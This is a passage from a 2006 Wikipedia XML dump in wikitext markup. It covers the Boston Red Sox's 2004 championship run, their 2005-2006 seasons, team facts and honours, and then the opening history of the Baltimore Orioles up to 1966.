Boston began the playoffs by sweeping the [[American League West|AL West]] champion [[Los Angeles Angels of Anaheim|Anaheim Angels]]. The Red Sox blew out the Angels 9-3 in Game 1, scoring 7 of those runs in the fourth inning. However, the Sox' 2003 offseason prize pickup Curt Schilling suffered a torn tendon while running to first base to retire a batter. The second game, pitched by Pedro Martinez, stayed close throughout until Boston scored 4 in the ninth to win 8-3. In game three, what looked to be a blowout turned out to be a nail-biter, as [[Vladimir Guerrero]] hit a grand slam to tie it at six. However, [[David Ortiz]], who is noted for his clutchness, delivered in the 10th inning with a game winning 2-run homer over the [[Green Monster (Fenway Park)|Green Monster]]. The Red Sox thus advanced to a rematch in the [[2004 American League Championship Series]] against their bitter rivals, the [[New York Yankees]].

Despite high hopes that the Red Sox would finally vanquish their nemesis, the series started disastrously for them.  Curt Schilling pitched with the torn tendon sheath in his right ankle he had suffered in Game One of the Divisional Series against Anaheim, and was routed for six runs in three innings. Mussina had six perfect innings, and once had a lead that was 8-0. Despite the Sox' best effort to come back (they had scored seven unanswered runs to make it 8-7), they ended up losing 10-7.  In Game Two, after being tied 1-1 throughout most of the game, [[John Olerud]] hit a 2-run home run to put the Yankees up for good. They were down three games to none after a crushing 19-8 loss in Game Three, in which the two clubs set the record for most runs scored in a League Championship Series game.

In Game Four of the Series, the Red Sox found themselves facing elimination, trailing 4-3 in the ninth with Yankees superstar [[Closer (baseball)|closer]] [[Mariano Rivera]] on the mound. After Rivera issued a walk to [[Kevin Millar]], [[Dave Roberts]] came on to pinch run and promptly [[The Steal |stole]] second base. He then scored on an [[Run batted in|RBI]] [[Single (baseball)|single]] by [[Bill Mueller]] which sent the game to extra innings. The Red Sox went on to win the game on a two-run home run by [[David Ortiz]] in the 12th inning. The Red Sox would win Game Five the next night, in a game that featured another rally against Rivera to force extra innings. In Game 5, the Red Sox were down again late, this time by the score of 4-2, thanks to [[Derek Jeter]]'s bases-clearing double. But the Sox struck back in the 8th, as &quot;Senor Octubre&quot; hit a homer over the monster to bring the Sox within a run. [[Jason Varitek]] hit a sacrifice fly to bring home Dave Roberts to score the tying run. The game would go for fourteen innings, capped off by many squandered Yankee opportunities (they were 1 for 13 with runners in scoring position). In the top of the 13th, though, Jason Varitek came in to catch the knucleballing [[Tim Wakefield]]. It was a very sloppy inning, in which at one point the Yankees had runners on second and third. The nation was spared though, as Varitek and Wakefield were able to get through the inning unscathed. In the bottom of the 14th, Ortiz would again seal the win with a game-winning RBI single that brought home Damon. The game set the record for longest postseason game in terms of time (5 hours and 49 minutes) and for longest ALCS game (14 innings).

With the series returning to [[Yankee Stadium]] for Game Six, the improbable comeback continued with Curt Schilling pitching on an ankle that had three sutures wrapped in a bloody (literally red) sock. Schilling struck out four, walked none, and only allowed one run over seven innings to lead the team to victory. [[Mark Bellhorn]] also helped in the effort as he hit a 3-run home run in the fourth inning. The bottom of the 9th inning in that game was one of the most terrifying moments in the postseason, as [[Tony Clark]], who had played extremely poorly for the Sox in '02 came up to the dish representing the winning run. This was extremely nerveracking for a lot of Sox fans, and as [[Theo Epstein]] put it: &quot;He ruined our 2002 season and it looked like he'd probably ruin our 2004 one.&quot; In Game Seven, the Red Sox completed their sensational and historic comeback on the strength of [[Derek Lowe]]'s pitching and [[Johnny Damon]]'s two home runs, including a devastating grand slam in the second inning off the first pitch of reliever [[Javier Vasquez]]. Ortiz, who had the game winning RBIs in Games Four and Five, was named ALCS Most Valuable Player.

The Red Sox faced the [[St. Louis Cardinals]] in the [[2004 World Series]].  The Cardinals had posted the best record in the major leagues that season, and had previously defeated the Red Sox in the [[1946 World Series|1946]] and [[1967 World Series|1967]] Series, with both series going seven games. The third time would be the charm, however, as the momentum and confidence Boston had built up in the ALCS would overwhelm St. Louis. The Red Sox began the Series with an 11-9 win, marked by Mark Bellhorn's game-winning home-run off of [[Pesky's Pole]]. It was the highest scoring World Series opening game ever (breaking the previous record set in [[1932 World Series|1932]]). The Red Sox would go on to win Game 2 in Boston (thanks to another sensational performance by the bloody-socked Schilling). The Red Sox won both these games despite making 4 errors in each game. In Game Three, Pedro Martinez shut out the Cardinals for seven innings. The Cardinals only made one real threat- in the third inning when they loaded the bases. However, the Cardinals' &quot;rally&quot; was killed by [[Jeff Suppan]]'s horrendous baserunning gaffe, in which he tried to go home on a routine out and ended up getting run down at third. The Red Sox needed one more game to win their first championship since the [[1918 World Series|1918]]. In Game four, the Red Sox did not allow a run, as [[Edgar Renteria]] (who would become the 2005 Red Sox starting SS) hit the ball back to Keith Foulke. This was the second time that Renteria had ended a world series, as he won it for the Marlins 7 years prior in the [[1997 World Series]]. After Foulke lobbed the ball to Doug Mientkiewicz, the Sox had officially won their first World Championship in 86 years. The Sox held the Redbird's offense (the best in the NL in 2004) to only three runs in the last three games. The Red Sox never trailed in the series. [[Manny Ramírez]] was named World Series MVP. The Red Sox won Game 4 of the series on October 27, eighteen years to the day from when they lost to the [[New York Mets]] in the [[1986 World Series]]. 

The Red Sox held a parade (or as Boston mayor [[Thomas Menino]] put it, a &quot;rolling rally&quot;) on Saturday, [[October 30]], [[2004]]. A crowd of more than three million members of [[Red Sox Nation]] filled the streets of Boston to cheer as the team rode on the city's famous [[DUKW|Duck Boats]].

===2005===
After winning its first World Series in 86 years, Red Sox management was left with the challenge of dealing with a number of high profile [[free agent]]s. [[Pedro Martínez]], [[Derek Lowe]], and [[Orlando Cabrera]] were replaced with [[David Wells]], a former Yankee, [[Matt Clement]], and [[Edgar Rentería]] respectively. The club re-signed its catcher, [[Jason Varitek]], and named him team captain.

Pitchers [[Curt Schilling]], [[Keith Foulke]], and [[Wade Miller]] spent large parts of the season on the [[disabled list]], and were unable to return in good form. For much of the season Boston held first place in the [[American League East|AL East]] but down the stretch the team struggled, squandering its lead over the Yankees and allowing the [[Cleveland Indians]] to close the gap in the Wild Card race.

The division crown would be decided on the last weekend of the season, with the Yankees coming to Fenway Park with a one game lead in the standings. Although the Red Sox won two of the three games to finish the season with an identical 95-67 record as the Yankees, a one-game playoff was not needed since both teams had already qualified for the playoffs. The division title was decided on a head-to-head tiebreaker which the Yankees won 10–9, earning them the AL East championships while the Sox earned the AL Wild Card.

The Red Sox faced the AL Central champion [[Chicago White Sox]], who had not won a playoff series since [[1917 in baseball|1917]], in the [[2005 American League Division Series|ALDS]]. The White Sox won Game One in a 14–2 rout. In the second game, the Red Sox led 4–0, but lost the game 5–4 after a brutal fifth inning which featured a crucial error by [[second baseman]] [[Tony Graffanino]]. Game Three in Boston ended 5–3 in favor of Chicago, thus completing the sweep.  Chicago would go on to win the [[2005 World Series|World Series]], their first championship since 1917.

On October 31, 2005, [[general manager]] [[Theo Epstein]] resigned on the last day of his contract, reportedly turning down a three-year, $4.5 million contract extension.

On [[Thanksgiving]] evening, the Red Sox officially announced the acquisition of a potential ace in right-hander [[pitcher]] [[Josh Beckett]] from the [[Florida Marlins]]. Boston also added [[Gold Glove Award]] winning [[third baseman]] [[Mike Lowell]] and right-handed [[relief pitcher|reliever]] [[Guillermo Mota]] in the deal while sending [[minor league baseball|minor league]] prospects [[shortstop]] [[Hanley Ramírez]] and right-handed pitchers [[Aníbal Sánchez]], [[Jesús Delgado]] and [[Harvey García]] to the Marlins. On December 7, the Sox traded backup [[catcher]] [[Doug Mirabelli]] to the [[San Diego Padres]] for [[second baseman]] [[Mark Loretta]].  On December 8, the Sox traded [[Edgar Renteria]] to the [[Atlanta Braves]] for third base prospect [[Andy Marte]]. On December 20, [[Tony  Graffanino]] accepted the Red Sox arbitration offer, but [[Johnny Damon]] declined, giving himself until January 8 to re-sign with the Red Sox. This deadline became moot, as just days after Damon signed a four-year, $52 million deal with the [[New York Yankees]]. The Red Sox lost [[Bill Mueller]] in free agency to the Dodgers, and [[Kevin Millar]] was not offered arbitration and signed with the [[Baltimore Orioles]].

==2006==
On [[January 19]], [[2006]], the Red Sox announced that [[Bronson Arroyo]] had accepted a three-year contract.  The Red Sox also announced that [[Theo Epstein]] would be rejoining the Red Sox in a &quot;full-time baseball operations capacity.&quot;  On January 24, 2006, it was announced that Epstein would again assume the title of General Manager. The next day, Mota, Marte, catching prospect [[Kelly Shoppach]] and a player to be named later were traded to the [[Cleveland Indians]] for [[center fielder]] [[Coco Crisp]], relief pitcher [[David Riske]], and backup catcher [[Josh Bard]]. [[Venezuela]]n shortstop [[Alex González]] signed a one-year contract to replace [[Renteria]].  The Red Sox enter the 2006 season with a revamped roster, carrying only three positional starters from their 2004 championship squad.

==Postseason series==
&lt;table cellspacing=&quot;3&quot; cellpadding=&quot;5&quot;&gt;
&lt;tr&gt;&lt;td&gt;'''[[1903 World Series]]'''&lt;/td&gt;&lt;td&gt;[[Pittsburgh Pirates]]&lt;/td&gt;&lt;td&gt;
  ''Won 5-3''&lt;/td&gt;&lt;/tr&gt;
&lt;tr bgcolor=#eeeeee&gt;&lt;td&gt;'''[[1904 World Series]]'''&lt;/td&gt;&lt;td&gt;Not Played&lt;/td&gt;&lt;td&gt;
  ''N/A''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''[[1912 World Series]]'''&lt;/td&gt;&lt;td&gt;[[San Francisco Giants|New York Giants]]&lt;/td&gt;&lt;td&gt;
  ''Won 4-3''&lt;/td&gt;&lt;/tr&gt;
&lt;tr bgcolor=#eeeeee&gt;&lt;td&gt;'''[[1915 World Series]]'''&lt;/td&gt;&lt;td&gt;[[Philadelphia Phillies]]&lt;/td&gt;&lt;td&gt;
  ''Won 4-1''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''[[1916 World Series]]'''&lt;/td&gt;&lt;td&gt;[[Los Angeles Dodgers|Brooklyn Robins]]&lt;/td&gt;&lt;td&gt;
  ''Won 4-1''&lt;/td&gt;&lt;/tr&gt;
&lt;tr bgcolor=#eeeeee&gt;&lt;td&gt;'''[[1918 World Series]]'''&lt;/td&gt;&lt;td&gt;[[Chicago Cubs]]&lt;/td&gt;&lt;td&gt;
  ''Won 4-2''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''[[1946 World Series]]'''&lt;/td&gt;&lt;td&gt;[[St. Louis Cardinals]]&lt;/td&gt;&lt;td&gt;
  ''Lost 4-3''&lt;/td&gt;&lt;/tr&gt;
&lt;tr bgcolor=#eeeeee&gt;&lt;td&gt;'''[[1967 World Series]]'''&lt;/td&gt;&lt;td&gt;[[St. Louis Cardinals]]&lt;/td&gt;&lt;td&gt;
  ''Lost 4-3''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''[[1975 American League Championship Series]]'''&lt;/td&gt;&lt;td&gt;[[Oakland Athletics]]&lt;/td&gt;&lt;td&gt;
  ''Won 3-0''&lt;/td&gt;&lt;/tr&gt;
&lt;tr bgcolor=#eeeeee&gt;&lt;td&gt;'''[[1975 World Series]]'''&lt;/td&gt;&lt;td&gt;[[Cincinnati Reds]]&lt;/td&gt;&lt;td&gt;
  ''Lost 4-3''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''[[1986 American League Championship Series]]'''&lt;/td&gt;&lt;td&gt;[[Los Angeles Angels of Anaheim|California Angels]]&lt;/td&gt;&lt;td&gt;
  ''Won 4-3''&lt;/td&gt;&lt;/tr&gt;
&lt;tr bgcolor=#eeeeee&gt;&lt;td&gt;'''[[1986 World Series]]'''&lt;/td&gt;&lt;td&gt;[[New York Mets]]&lt;/td&gt;&lt;td&gt;
  ''Lost 4-3''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''[[1988 American League Championship Series]]'''&lt;/td&gt;&lt;td&gt;[[Oakland Athletics]]&lt;/td&gt;&lt;td&gt;
  ''Lost 4-0''&lt;/td&gt;&lt;/tr&gt;
&lt;tr bgcolor=#eeeeee&gt;&lt;td&gt;'''[[1990 American League Championship Series]]'''&lt;/td&gt;&lt;td&gt;
  [[Oakland Athletics]]&lt;/td&gt;&lt;td&gt;''Lost 4-0''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''[[1995 American League Division Series]]'''&lt;/td&gt;&lt;td&gt;[[Cleveland Indians]]&lt;/td&gt;&lt;td&gt;
  ''Lost 3-0''&lt;/td&gt;&lt;/tr&gt;
&lt;tr bgcolor=#eeeeee&gt;&lt;td&gt;'''[[1998 American League Division Series]]'''&lt;/td&gt;&lt;td&gt;
  [[Cleveland Indians]]&lt;/td&gt;&lt;td&gt;''Lost 3-1''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''[[1999 American League Division Series]]'''&lt;/td&gt;&lt;td&gt;[[Cleveland Indians]]&lt;/td&gt;&lt;td&gt;
  ''Won 3-2''&lt;/td&gt;&lt;/tr&gt;
&lt;tr bgcolor=#eeeeee&gt;&lt;td&gt;'''[[1999 American League Championship Series]]'''&lt;/td&gt;&lt;td&gt;
  [[New York Yankees]]&lt;/td&gt;&lt;td&gt;''Lost 4-1''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''[[2003 American League Division Series]]'''&lt;/td&gt;&lt;td&gt;[[Oakland Athletics]]&lt;/td&gt;&lt;td&gt;
  ''Won 3-2''&lt;/td&gt;&lt;/tr&gt;
&lt;tr bgcolor=#eeeeee&gt;&lt;td&gt;'''[[2003 American League Championship Series]]'''&lt;/td&gt;&lt;td&gt;
  [[New York Yankees]]&lt;/td&gt;&lt;td&gt;''Lost 4-3''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''[[2004 American League Division Series]]'''&lt;/td&gt;&lt;td&gt;[[Los Angeles Angels of Anaheim|Anaheim Angels]]&lt;/td&gt;&lt;td&gt;
  ''Won 3-0''&lt;/td&gt;&lt;/tr&gt;
&lt;tr bgcolor=#eeeeee&gt;&lt;td&gt;'''[[2004 American League Championship Series]]'''&lt;/td&gt;&lt;td&gt;
  [[New York Yankees]]&lt;/td&gt;&lt;td&gt;''Won 4-3''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''[[2004 World Series]]'''&lt;/td&gt;&lt;td&gt;
  [[St. Louis Cardinals]]&lt;/td&gt;&lt;td&gt;''Won 4-0''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''[[2005 American League Division Series]]'''&lt;/td&gt;&lt;td&gt;
  [[Chicago White Sox]]&lt;/td&gt;&lt;td&gt;''Lost 3-0''&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

==Quick facts==
:'''Founded:''' 1899, as the [[Buffalo, New York|Buffalo]] franchise in the minor Western League.  Moved to Boston when that league became the major American League in 1901.
:'''Team Name:''' Boston Red Sox (''see [[Boston Red Sox#Nicknames before &quot;Red Sox&quot;|Nicknames before &quot;Red Sox&quot;]] below'')
:'''Name in Spanish:''' Los Medias Rojas
:'''Current ownership:''' [[John Henry (baseball)|John Henry]] and [[Tom Werner]] and Larry Lucchino, who paid $660 million and assumed $400 million in debt, in February 2002. The purchase includes Fenway Park and 82 percent of [[New England Sports Network]].  The purchase price set a record for a major league baseball franchise. 
:'''Current payroll:'''  For 2005, payroll was about $123.5 million, over $80 million less than that of the [[New York Yankees]]. For 2004, payroll was about $127 million, $57 million shy of the [[New York Yankees]].  In both of these years, the Red Sox had the second-highest total payroll in MLB.[http://asp.usatoday.com/sports/baseball/salaries/default.aspx] (NOTE: The numbers cited are actually the payroll of the team at the start of the each seaons.  Payrolls can change due to mid-season personel changes, including trades, promotion of minor league players, waiver, etc.)
:'''Home ballpark:''' [[Fenway Park]] (April 20, 1912 - Present), [[Braves Field]] (1929 - 1932 Sundays, 1915 - 1916 World Series), [[Huntington Avenue Grounds]] (1901-1911).  Fenway is the oldest ballpark in baseball.  The Red Sox ownership group has recently committed to keeping the team at Fenway for years to come; plans are already under way for the first ballpark centennial celebration in MLB history in 2012. 
:'''Mascot:''' &quot;Wally the Green Monster,&quot; named after the left field wall [[Green Monster (Fenway Park)|Green Monster]].
:'''Uniform colors:''' Navy blue, red, gray, and white
:'''Logo design:''' Two hanging red socks with white heels and toes, over a white baseball surrounded by the words Boston and Red Sox. The word &quot;Boston&quot; is in navy blue outlined in red, the words &quot;Red Sox&quot; are in red outlined in navy blue, and the entire logo is surrounded by a thick red circle. Recently the team has begun phasing in a new logo that removes the outline, text and baseball, leaving only the pair of red socks.
:'''Theme Song:''' None officially, but several &quot;unofficial&quot; theme songs exist:
:* ''played in the middle of the eighth inning at Fenway Park:'' [[Neil Diamond]]'s &quot;[[Sweet Caroline]]&quot; performed with raucous audience participation.
:* ''played after each victory at Fenway Park:'' &quot;[[Dirty Water]]&quot; by [[The Standells]]. 
:* ''played after &quot;Dirty Water&quot; and for rallies during a game:'' The [[Dropkick Murphys]]' 2004 rewrite of &quot;[[Tessie]].&quot; The original &quot;Tessie&quot; was a Broadway tune, which Boston fans adopted during the [[1903 World Series]] and sang regularly until 1916.
:* ''played during David Ortiz's at-bats:'' &quot;Who's Your Papi?&quot;
:'''Championships and Pennants:'''
::'''Playoff appearances''' (18): 1903, 1904, 1912, 1915, 1916, 1918, 1946, 1967, 1975, 1986, 1988, 1990, 1995, 1998, 1999, 2003, 2004, 2005
:'''Official television station:''' [[New England Sports Network]] (NESN) Red Sox own 80% of NESN, the [[Boston Bruins]] own the remaining 20%
:'''Official radio station:''' [[WEEI]] (flagship)

==Nicknames before &quot;Red Sox&quot;==
The name '''Red Sox''', chosen by owner John I. Taylor after the 1907 season, is based on an obsolete form of the word &quot;[[sock]]s&quot;, as in the red footwear worn by the team starting in 1908. The name originated from the [[Cincinnati Reds|Cincinnati Red Stockings]], the first professional baseball team and a member of the first (now defunct) league, the [[National Association]] of Baseball Players. The team was formed by [[Harry Wright]] in 1869, and was the first team to actually pay its players a salary, which was frowned upon at the time. The Red Stockings were able to attract the best players from around the country, and hence became one of the first [[dynasties]] in American sports. Many other clubs began to follow suit, which is how professional baseball was born.

In 1871, due to slumping attendance in Cincinnati, the team folded and then re-formed in Boston, and kept their nickname and their exemplary play. In 1876, the [[National League]] was formed and the Boston Red Stockings became a charter member, but changed their nickname to &quot;Red Caps&quot;. Back then, the nicknames were not as important, and teams went by many different names during this time. In 1912, the team changed its official nickname to &quot;Braves&quot;, and are today based in [[Atlanta Braves|Atlanta]].  

In 1901, the [[American League]] was formed by [[Ban Johnson]] to compete with the National League, and a new Boston club was formed.  Prior to 1908, the A.L. team in fact wore ''dark blue'' stockings, and did not have an official nickname. They were simply &quot;the Bostons&quot; or &quot;the Boston Baseball club&quot;; some newspaper writers referred to them as the Boston &quot;Americans&quot;, as in &quot;American Leaguers&quot;, Boston being a two-team city. Many sources have stated for years that the early team was called the Boston &quot;Pilgrims&quot; or &quot;Puritans&quot; or &quot;Plymouth Rocks&quot;, or &quot;Somersets&quot; (for their owner), but recent research into contemporary sources suggests otherwise. [http://www.baseball-almanac.com/articles/boston_pilgrims_story.shtml].

==Retired numbers==
The Boston Red Sox have two requirements for a player to have his number retired [http://boston.redsox.mlb.com/NASApp/mlb/bos/history/retired_numbers.jsp]: 
# He must have played for the Red Sox for at least 10 years. 
# He must have been inducted into the Baseball Hall of Fame.

* [[Wade Boggs]] meets the minimum requirements to have his number retired by the Red Sox, but played with the [[New York Yankees]] and the [[Tampa Bay Devil Rays]] after leaving Boston. [[Jim Rice]], should he be elected into the Baseball Hall of Fame, will also meet the requirements.
* Until the late 1990s, the numbers originally hung on the right-field facade in the order in which they were retired: 9-4-1-8. It was pointed out that the numbers, when read as a date (9/4/18), marked the eve of the [[1918 World Series]]. Due to superstitions involving the &quot;[[Curse of the Bambino]]&quot; the numbers were rearranged in numerical order.
* In the past, the Red Sox have traditionally required a player to end their career with the Red Sox.  The rule was ignored when Carlton Fisk was inducted into the Hall of Fame.  Fisk finished his playing career with the Chicago White Sox, but the Red Sox hired Fisk for 1 day as a &quot;special assistant to (then GM) Dan Duquette&quot; to continue the tradition. [http://www.thediamondangle.com/crank/20000728.html]
The numbers honored are as follows:

* &amp;nbsp; 1 [[Bobby Doerr]], 2B, 1937-51
* &amp;nbsp; 4 [[Joe Cronin]], SS, 1935-45; manager, 1935-47; also [[American League]] President, 1959-73
* &amp;nbsp; 8 [[Carl Yastrzemski]], OF-1B, 1961-83
* &amp;nbsp; 9 [[Ted Williams]], OF, 1939-60
* 27 [[Carlton Fisk]], C, 1969-80
* 42 [[Jackie Robinson]], retired by all Major League clubs to honor his breaking of Baseball's color barrier.

==[[Baseball Hall of Fame]]rs==
{|
|valign=&quot;top&quot;|
*[[Luis Aparicio]]
*[[Wade Boggs]] *
*[[Lou Boudreau]]
*[[Jesse Burkett]]
*[[Orlando Cepeda]]
*[[Jack Chesbro]]
*[[Jimmy Collins]] *
*[[Joe Cronin]] *
*[[Bobby Doerr]] *
*[[Dennis Eckersley]] 
|width=&quot;50&quot;|
|valign=&quot;top&quot;|
*[[Rick Ferrell]] &amp;#42;&amp;#42;
*[[Carlton Fisk]] &amp;#42;&amp;#42;
*[[Jimmie Foxx]] &amp;#42;&amp;#42;
*[[Lefty Grove]] &amp;#42;&amp;#42;
*[[Harry Hooper]] *
*[[Waite Hoyt]]
*[[Ferguson Jenkins]]
*[[George Kell]]
*[[Heinie Manush]]
*[[Juan Marichal]]
|width=&quot;50&quot;|
|valign=&quot;top&quot;|
*[[Herb Pennock]]
*[[Tony Pérez]]
*[[Red Ruffing]] 
*[[Babe Ruth]]
*[[Tom Seaver]]
*[[Al Simmons]]
*[[Tris Speaker]]
*[[Ted Williams]] *
*[[Carl Yastrzemski]] *
*[[Cy Young]] *

|}

*Affiliation according to National Baseball Hall of Fame 
:&amp;#42; Inducted as Red Sox
:&amp;#42;&amp;#42; Wears Red Sox cap on Hall Of Fame plaque, but spent more time on other teams

===Sources===
*[http://www.baseballhalloffame.org/hofers_and_honorees/lists/team_cap.htm Team Cap]
*[http://www.baseballhalloffame.org/hofers_and_honorees/lists/managers.htm Managers]
*[http://www.baseballhalloffame.org/hofers_and_honorees/lists/exec_pioneers.htm Executives and Pioneers]

==Current roster==
{{:Boston Red Sox roster}}

==Minor league affiliations==
* '''Triple-A:''' [[Pawtucket Red Sox]], [[International League]]
* '''Double-A:''' [[Portland Sea Dogs]], [[Eastern League]]
* '''Advanced-A:''' [[Wilmington Blue Rocks]], [[Carolina League]]
* '''Single-A:''' [[Greenville Drive]], [[South Atlantic League]]
* '''Short-A:''' [[Lowell Spinners]], [[New York-Penn League]]
* '''Rookie:''' [[Gulf Coast Red Sox|GCL Red Sox]], [[Gulf Coast League]]
* '''Rookie:''' [[Venezuelan Summer League|Ciudad Alianza (VSL Red Sox/Padres)]] [cooperated], [[Venezuelan Summer League]]



==See also==
*[[Boston Red Sox Hall of Fame]]
*[[List of Boston Red Sox awards|Award winners and league leaders]]
*[[Boston Red Sox/Team records|Statistical records and milestone achievements]]
*[[Tony Conigliaro Award]]
*[[Boston Red Sox All-Time Roster|All-Time Roster]]
*[[Boston Red Sox/Managers and ownership|Managers and ownership]]
*[[Boston Red Sox spring training home|Spring Training Home]]
*[[Boston Red Sox/Broadcasters|Broadcasters and media]]
*[[Red Sox Nation]]
*[[List of Major League Baseball franchise post-season droughts|Post-season droughts]]

==External links==
*[http://boston.redsox.mlb.com/NASApp/mlb/index.jsp?c_id=bos Boston Red Sox official website]
*[http://sports.espn.go.com/mlb/teams/minors?team=bos Red Sox Minor League Overview]
*[http://photobucket.com/albums/y294/tohasbo/?action=view&amp;current=redsoxunis.gif Red Sox Uniforms
*[http://www.redsoxjersey.net Red Sox Jersey] popular Red Sox fan club site

==References==
*{{cite book | author=Johnson, Richard A., Stout, Glenn, and Johnson, Dick | 
title=Yankees Century: 100 Years of New York Yankees Baseball| publisher=Houghton Mifflin Company |
year=2002 | id=ISBN 0-618-08527-0}}
*{{cite book | author=Stout, Glenn and Johnson, Richard A. | 
title=Red Sox Century| publisher=Houghton Mifflin Company |
year=2000 | id=ISBN 0-395-88417-9}}
*{{cite book | author=Nowlin, Bill and Prime, Jim | 
title=Blood Feud: The Red Sox, The Yankees, and the Struggle of Good versus Evil| publisher=HRounder Books |
year=2005 | id=ISBN 1-57940-111-2}}
{{MLB Team Boston Red Sox}}
{{MLB}}

[[Category:Boston Red Sox| ]]
[[Category:Major League Baseball teams]]

[[da:Boston Red Sox]]
[[de:Boston Red Sox]]
[[es:Boston Red Sox]]
[[fr:Red Sox de Boston]]
[[ja:ボストン・レッドソックス]]
[[pt:Boston Red Sox]]
[[sv:Boston Red Sox]]
[[zh:波士頓紅襪]]</text>
    </revision>
  </page>
  <page>
    <title>Baltimore Orioles</title>
    <id>4340</id>
    <revision>
      <id>42160225</id>
      <timestamp>2006-03-04T05:29:56Z</timestamp>
      <contributor>
        <username>Boothy443</username>
        <id>158008</id>
      </contributor>
      <comment>rv/v</comment>
      <text xml:space="preserve">:''This article refers to the contemporary American major league baseball team. For other meanings, see [[Baltimore Oriole (Disambiguation)]]''.
{{MLB infobox Orioles}}
The '''Baltimore Orioles''' are a [[Major League Baseball]] team based in [[Baltimore, Maryland]]. They are in the [[American League East|Eastern Division]] of the [[American League]]. They are owned by attorney [[Peter Angelos]].

==Milwaukee Brewers==
The modern Orioles can trace their franchise link back to the Milwaukee Brewers of the [[Western League (U.S. baseball)|Western League]], beginning in 1894 when the league reorganized. The Brewers were there when the WL renamed itself the [[American League]] in 1900, and when the league declared itself a major league in 1901, the Brewers were a charter member. 

==St.Lous Browns==
After only a single season as a bona fide major league club, the team moved to St. Louis and renamed themselves the &quot;Browns&quot;, in reference to the original name of the legendary 1880s club that by 1902 was known as the [[St. Louis Cardinals|Cardinals]]. The Browns ranged from mediocre to cellar-dwelling for much of their time in St. Louis. They had two competitive periods, in the early 1920s, when they contended but were not good enough to catch strong teams of that time such as the Yankees and the Senators, and the early 1940s, the war years, when they finally hit paydirt briefly.

===War Era===
During the war, the Browns won their only St. Louis based American League pennant in [[1944]], but they faced their local rivals, the more successful Cardinals, and lost the 1944 World Series, 4-2. They were one of only three teams at the time (the others being the [[Los Angeles Dodgers|Brooklyn Dodgers]] and the [[Philadelphia Phillies]]) to have never won a [[World Series]].

==Relocation==
Half a century of mostly sub-par baseball, coupled with the success of their rivals (and tenants) the Cardinals, eventually forced new Browns majority owner [[Bill Veeck]] to consider moving his franchise in 1951. The Browns had been candidates for relocation earlier: in [[1941]], the Browns had come close to moving to [[Los Angeles]], nearly two decades before big league baseball eventually arrived in [[California]].  The American League even drew up a schedule including Los Angeles, but the bombing of [[Pearl Harbor]] killed the move.  Veeck attempted to move the Browns back to Milwaukee (where he had owned the [[Milwaukee Brewers minor league|Brewers]] of the [[American Association (20th century)|American Association]] in the 1940s), but the move was blocked by the other American League owners, seemingly for reasons that were more personal than business related.

In [[1953]], the Cardinals were bought by the [[Anheuser-Busch]] [[brewery]].  Veeck realized that the Cardinals now had overwhelming resources at their command.  However, he was still rebuffed by the owners.  Faced with threats of losing his franchise, Veeck finally sold his team to a Baltimore-based group led by attorney Clarence Miles. With Veeck &quot;out of the way&quot;, the American League owners quickly approved the relocation of the team to Baltimore. The team immediately took on the nickname &quot;Orioles&quot;, a name with a long and storied history in the city:

==Baltimore Orioles==
===Early Orioles===
* In the [[1890s]], a powerful and innovative [[National League]] Orioles squad included several future [[Baseball Hall of Fame|Hall of Famers]], such as [[Willie Keeler|&quot;Wee&quot; Willie Keeler]], [[Wilbert Robinson]], [[Hughie Jennings]] and [[John McGraw (baseball)|John McGraw]].  They won three straight pennants, and participated in all four of the [[Temple Cup]] Championship Series, winning the last two of them. That team had started as a charter member of the [[American Association (19th century)|American Association]] in 1882. Despite its on-field success, it was one of the four teams contracted out of existence by the National League after the [[1899]] season. Its best players (and its manager, [[Ned Hanlon]]) regrouped with the [[Brooklyn Dodgers]], turning that team into a contender.
* In 1901, Baltimore and McGraw were awarded an expansion franchise in the growing American League, but again the team was sacrificed in favor of a [[New York City]] franchise, as the team was transferred to the city in 1903.  After some early struggles, that team eventually became baseball's most successful franchise - the [[New York Yankees]]. 
* As a member of the high-minor league level [[International League]], the Orioles competed at what is now known as the AAA level from 1903-1953. Baltimore's own [[Babe Ruth|George Herman Ruth]] - nicknamed &quot;Babe&quot; - pitched for the Orioles before being sold to the AL [[Boston Red Sox]] in [[1916 in sports|1916]]. The Orioles of the IL won several league championships, first a lengthy run in the 1910s and 1920s, and then dramatically in 1944, after they had lost their home field [[Oriole Park]] in a disastrous mid-season fire. The huge post-season crowds at their temporary home, [[Memorial Stadium (Baltimore)|Municipal Stadium]], caught the attention of the big league brass and helped open the door to the return of major league baseball to Baltimore. Thanks to the big stadium, that &quot;Junior World Series&quot; easily outdrew the major league World Series which, coincidentally, included the team that would move to Baltimore 10 years later and take up occupancy in the rebuilt version of that big stadium.

=== Modern Orioles ===
The new AL Orioles took about six years to become competitive. By the early 1960's, stars such as [[Brooks Robinson]], [[Boog Powell|John &quot;Boog&quot; Powell]], and [[Dave McNally]] were being developed by a strong farm system. 

====Robinson Brothers====
In 1966, the Orioles traded with the [[Cincinnati Reds]] and acquired slugging outfielder [[Frank Robinson]]. Robinson went on to become the first player to win the [[MLB Most Valuable Player Award|Most Valuable Player]] award in each league while hitting for the [[Triple crown (baseball)|Triple Crown]] (leading the American League in [[batting average]], [[home runs]], and [[runs batted in]].) The Orioles won their first ever American League championship in 1966, and in a major upset, swept the World Series by out-dueling the Los Angeles Dodgers aces Sandy Koufax and Don Drysdale.

====Glory====
